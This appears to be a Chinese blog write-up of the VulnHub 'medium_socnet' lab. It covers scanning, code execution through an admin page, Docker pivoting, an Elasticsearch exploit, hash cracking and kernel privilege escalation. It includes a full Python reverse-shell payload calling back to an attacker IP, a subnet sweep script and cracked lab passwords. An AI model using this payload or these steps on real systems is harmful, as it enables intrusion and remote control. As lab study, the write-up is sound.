# medium_socnet 靶机记录

# 前言

最近一段时间各种忙,我又各种懒,最后一科课业答辩结束后突然就闲下来了,突然之间不知道该干什么了,找了一个靶机浅浅的玩一下,这里做一个简单的记录,靶机的下载地址是无聊黑客博客: 社交网络~VulnHub,这个是一个很老的靶机了,所以虽然是中等难度,做起来还是比较轻松的

# 靶机描述

留言是一个新的匿名社交网站,用户可以在其中为彼此发布消息。 他们指派您测试他们的设置。他们确实使用码头工人容器。您也可以对这些进行攻击。尝试看看是否可以在主机上获得 root 权限。

难度:中级

涉及的任务:

  • 端口扫描
  • 网页应用攻击
  • 代码注入
  • 旋转
  • 开发
  • 密码破解
  • 暴力破解

虚拟机:

  • 格式: 虚拟机 (Virtualbox OVA)
  • 操作系统: Linux.

联网:

  • DHCP 服务:已启用
  • IP 地址自动分配

这在 VirtualBox 而不是 VMware 上效果更好。

# 攻击流程

# 信息收集

这里因为靶机和我的 kali 都使用 nat 模式都在一局域网中,这里直接使用 arp-scan 来进行一个主机发现

image-20230710211421646

当然这里直接使用 nmap 也是可以的

image-20230710211548048

这里可以看到,目标靶机是开启了 22 端口和 5000 端口,接下来使用 - sV 来探测服务和版本信息

image-20230710211750675

这里可以看到这里的 22 端口上就是一个 ssh,且是一个乌班图系统,5000 端口是一个 http 服务,且环境是 python,python 版本是 2.7

这里尝试去访问一下这个 5000 端口,看一下上面运行的一个具体业务

image-20230710212221997

这里测试了一下,发现会将用户的输入都展示到页面上,首先我是怀疑有模版注入,毕竟 python 回显,属于做 ctf 触发关键词了,但是发现并没有经过渲染

这里还处于信息收集的阶段,扫描目录是必不可少的,这里是使用 dirsearch 工具进行一个扫描

image-20230710212726917

这里也是发现了又一个 admin 路由可以访问,这里去访问一下

image-20230710212917421

这里看到这里是一个管理页面,这里是一个代码执行,这里尝试去用 python 反弹一个 shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.10.129",4444));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

在 kali 这里监听这个 4444 端口

image-20230711074337267

运行这段代码

image-20230711074420640

这里已经拿到了这个 shell,但是这里可以看到,桌面这里有一个 Dockerfile 文件,这里可能只是在容器内,这里可以通过两个命令去判断一下是不是 docker 容器

ls -a / |grep ".docker*"

image-20230711075452457

cat /proc/1/cgroup

image-20230711075656444

这二者都存在的话就可以确定这里拿到的 shell 是 docker 容器中的 shell。

# 内网信息收集

这里他是在 docker 中,我们可以将其视为内网的主机,这里可以看一下 ip 来进行一个常规的探测

先看一下拿到 shell 的这个 docker 的 ip

image-20230711081457617

可以看到这里的 ip 地址是 172.17.0.3,16 位,这里同网段下的 ip 很多,这里用 shell 脚本去探测

for i in $(seq 0 255); do
    for j in $(seq 1 254); do
        ping -c 1 172.17.$i.$j
    done
done

image-20230711085009954

这里可以看到 172.17.0.1,172.17.0.2,172.17.0.3(自身)是存活的,这里接下来就收集一下这三台主机的端口,这里 172 是内网网段想要使用 kali 的工具首先需要做内网穿透来建立一个通道

# 内网穿透

这里我用的是 VenomRelease Venom v1.1.0 · Dliv3/Venom (github.com) 这个工具,这里首先我再 kali 运行服务端 admin 文件监听 9999 端口

image-20230711090850888

接着再 kali 上开启一个 http 服务将客户端传送给靶机

image-20230711091015534

接着在靶机上使用 wget 来将客户端 down 下来

image-20230711091514408

这里运行去连接服务端,注意:这里要给与一个执行权限

image-20230711091840340

这样就成功的与服务端建立了连接

image-20230711091943160

这里进入到这个节点后启动一个 socks 监听 8888 端口

image-20230711093204818

这里去更改配置文件 sudo vim /etc/proxychains4.conf

image-20230711093145434

# 漏洞利用 Elasticsearch

这样就可以开对内网进行扫描了

proxychains nmap -Pn -sT 172.17.0.1

image-20230711093453070

这里扫描完成,发现开启的端口也是 22 和 5000,这里也是扫描了一下另一台主机

image-20230711095509435

发现这里只有 5000 端口,这里再通过 nmap 进行一个服务的发现

proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1

image-20230711093821859

这里再浏览器上挂上代理,然后去尝试访问一下扫描到的服务,这里可以看到,这台主机和已经拿到 shell 的主机上面服务是一样的

image-20230711095021961

对 9200 端口进行一个服务发现

image-20230711095657154

这里上面是开启了一个 Elasticsearch 服务,版本是 1.4.2,这里也是去网上查询了一下 Elasticsearch 漏洞总结 - 腾讯云开发者社区 - 腾讯云 (tencent.com),这里历史版本漏洞还是比较多的,也可以直接使用 searchsploit 来查找历史漏洞

image-20230711103506477

这里还附带了 exp,这里分别 copy 过来尝试一下

image-20230711104103616

image-20230711104249462

可以看到这里也是拿到了一个 shell,当然了这里拿到的还是一个 docker 容器的权限

image-20230711104449777

但是在其根目录发现了一个 passwords 的文件,这里去查看一下这个文件

image-20230711104624747

可以看到其中存放了用户名和密码,当然这里的密码很显然不是明文存放,这里通过在线网站对哈希进行一个碰撞,这里我碰撞的是这个 admin 的值

image-20230711104851103

这里对所有的文件都进行碰撞,很幸运的是都拿到了结果

john:3f8184a7343664553fcb5337a3138814 		1337hack
test:861f194e9d6118f3d942a72be3e51749		1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b		1111pass
root:b3d34352fc26117979deabdf1b9b6354		1234pass
jane:5c158b60ed97c723b673529b8a3cf72b		1234jane

这里拿到账号密码,尝试去登录靶机

image-20230711105556646

这里用第一组账号密码就可以通过 ssh 连接上,但是经过尝试只有这个账号能够登录上

image-20230711105752762

这里进行尝试没有 sudo,所以这里还需要提权

# 提权

image-20230711105916576

在 ssh 连接上的时候可以发现这里的内核版本是 3.13, 这里还是用 searchsploit 找一下

searchsploit ubuntu 3.13.0

image-20230711110123363

这里尝试第一个,cp 到当前目录后,这里因为是 c 源码文件所以要使用 gcc 编译一下

image-20230711110752376

值得注意的是源码中有这样一行

image-20230711111430353

在这里它又去通过 gcc 想去编译一个 c 语言的库文件,但是目标靶机经过查看是没有安装 gcc 的

image-20230711111639937

所以这里就算是我再 kali 上编译好了它也不能直接在目标靶机上运行,这里就需要修改源码,最简单的思路就是将这个库文件一起打包,让源码直接调用这个库文件,而不在编译

image-20230711112209565

这里可以看到我将原有的编译库文件的部分删除,只保留打开文件利用的部分,修改后通过 gcc 编译

image-20230711112404436

这里有报错但是不用管,是能够编译成功的,接着在 kali 上寻找一下缺少的库文件

image-20230711112750984

这里找到这个文件后将这个文件移动到当前目录,然后还是通过 python 开启一个 http 服务,让目标靶机下载这两个文件

image-20230711113045641

下载成功后将两个文件都移动到 tmp 目录下,并且给 exp 一个可执行权限

image-20230711120913465

齐活